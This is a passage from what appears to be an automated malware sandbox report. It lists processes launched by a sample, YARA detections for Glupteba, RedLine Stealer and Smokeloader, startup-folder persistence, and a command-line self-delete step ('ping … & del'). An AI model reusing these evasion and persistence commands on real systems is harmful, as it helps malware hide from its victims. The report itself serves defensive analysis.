Has exited:	true

Target ID:	27
Start time:	03:31:03
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe"
Imagebase:	0x400000
File size:	323'584 bytes
MD5 hash:	D9578A8E9EE343BC53B08FD8101F66E9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 58%, ReversingLabs
Reputation:	low
Has exited:	true

Target ID:	28
Start time:	03:31:03
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe"
Imagebase:	0x400000
File size:	1'878'244 bytes
MD5 hash:	BD90ED9339BF690DAF83101CAA9EC91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	29
Start time:	03:31:03
Start date:	11/03/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	30
Start time:	03:31:03
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe"
Imagebase:	0x400000
File size:	4'283'792 bytes
MD5 hash:	C03384EE0CB8E3A2FD0C84052AC0581F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 0000001E.00000002.3216770112.0000000003203000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000001E.00000002.3216770112.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 0000001E.00000002.3043788624.0000000000843000.00000040.00000001.01000000.0000001E.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000001E.00000002.3187121792.0000000001021000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	31
Start time:	03:31:04
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe"
Imagebase:	0x400000
File size:	1'878'244 bytes
MD5 hash:	BD90ED9339BF690DAF83101CAA9EC91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Target ID:	32
Start time:	03:31:04
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe"
Imagebase:	0x400000
File size:	4'283'768 bytes
MD5 hash:	54F38AF9A5ADA40065F7B6008661E8A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000020.00000002.3398211956.00000000031C3000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000020.00000002.3381975417.0000000000FDD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000020.00000002.3398211956.0000000002D80000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000020.00000002.3259586341.0000000000843000.00000040.00000001.01000000.0000001F.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Target ID:	33
Start time:	03:31:07
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe"
Imagebase:	0x400000
File size:	4'283'792 bytes
MD5 hash:	C03384EE0CB8E3A2FD0C84052AC0581F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000021.00000002.3183308151.0000000000843000.00000040.00000001.01000000.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000021.00000002.3298037878.0000000003203000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000021.00000002.3266926233.000000000111E000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000021.00000002.3298037878.0000000002DC0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Target ID:	34
Start time:	03:31:07
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\gIvDEh2BZp9B1K9gi8nXHxAG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\gIvDEh2BZp9B1K9gi8nXHxAG.exe"
Imagebase:	0x400000
File size:	1'878'244 bytes
MD5 hash:	BD90ED9339BF690DAF83101CAA9EC91A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	35
Start time:	03:31:07
Start date:	11/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	36
Start time:	03:31:09
Start date:	11/03/2024
Path:	C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe"
Imagebase:	0x400000
File size:	4'283'792 bytes
MD5 hash:	C03384EE0CB8E3A2FD0C84052AC0581F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000024.00000002.3385094968.0000000001171000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000024.00000002.3409633902.0000000003253000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Glupteba, Description: Yara detected Glupteba, Source: 00000024.00000002.3263335917.0000000000843000.00000040.00000001.01000000.00000022.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000024.00000002.3409633902.0000000002E10000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Has exited:	true

Target ID:	37
Start time:	03:31:13
Start date:	11/03/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\rundll32.exe
Imagebase:	0xda0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	38
Start time:	03:31:17
Start date:	11/03/2024
Path:	C:\Users\user\AppData\Local\Temp\wfplwfs.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\wfplwfs.exe
Imagebase:	0x400000
File size:	237'568 bytes
MD5 hash:	ED7321DFC04F801D87AB2F3B4ABCB8FB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	39
Start time:	03:31:17
Start date:	11/03/2024
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\rundll32.exe
Imagebase:	0xda0000
File size:	61'440 bytes
MD5 hash:	889B99C52A60DD49227C5E485A016679
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	40
Start time:	03:31:17
Start date:	11/03/2024
Path:	C:\Windows\SysWOW64\PING.EXE
Wow64 process (32bit):	true
Commandline:	ping 127.0.0.1 -n 3
Imagebase:	0x7a0000
File size:	18'944 bytes
MD5 hash:	B3624DD758CCECF93A1226CEF252CA12
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	42
Start time:	03:31:24
Start date:	11/03/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://hentaitoonami.com/
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	43
Start time:	03:31:27
Start date:	11/03/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2216,i,3713958764592762144,12864230647668828489,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Target ID:	44
Start time:	03:31:28
Start date:	11/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6V1VrzZlnckbDLDx3vI2CQTI.bat" "
Imagebase:	0x7ff7e4260000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	45
Start time:	03:31:28
Start date:	11/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	46
Start time:	03:31:38
Start date:	11/03/2024
Path:	C:\Users\user\AppData\Local\Temp\BroomSetup.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\BroomSetup.exe
Imagebase:	0x400000
File size:	1'828'864 bytes
MD5 hash:	EEE5DDCFFBED16222CAC0A1B4E2E466E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: 0000002E.00000002.4470759393.0000000000401000.00000040.00000001.01000000.0000002B.sdmp, Author: Joe Security
Antivirus matches:	Detection: 75%, ReversingLabs
Has exited:	false

Target ID:	47
Start time:	03:31:41
Start date:	11/03/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6V1VrzZlnckbDLDx3vI2CQTI.bat" "
Imagebase:	0x7ff7e4260000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	48
Start time:	03:31:43
Start date:	11/03/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Target ID:	173
Start time:	03:33:50
Start date:	11/03/2024
Path:	C:\Windows\System32\Conhost.exe
Wow64 process (32bit):
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:
Has administrator privileges:
Programmed in:	C, C++ or other language
Has exited:	false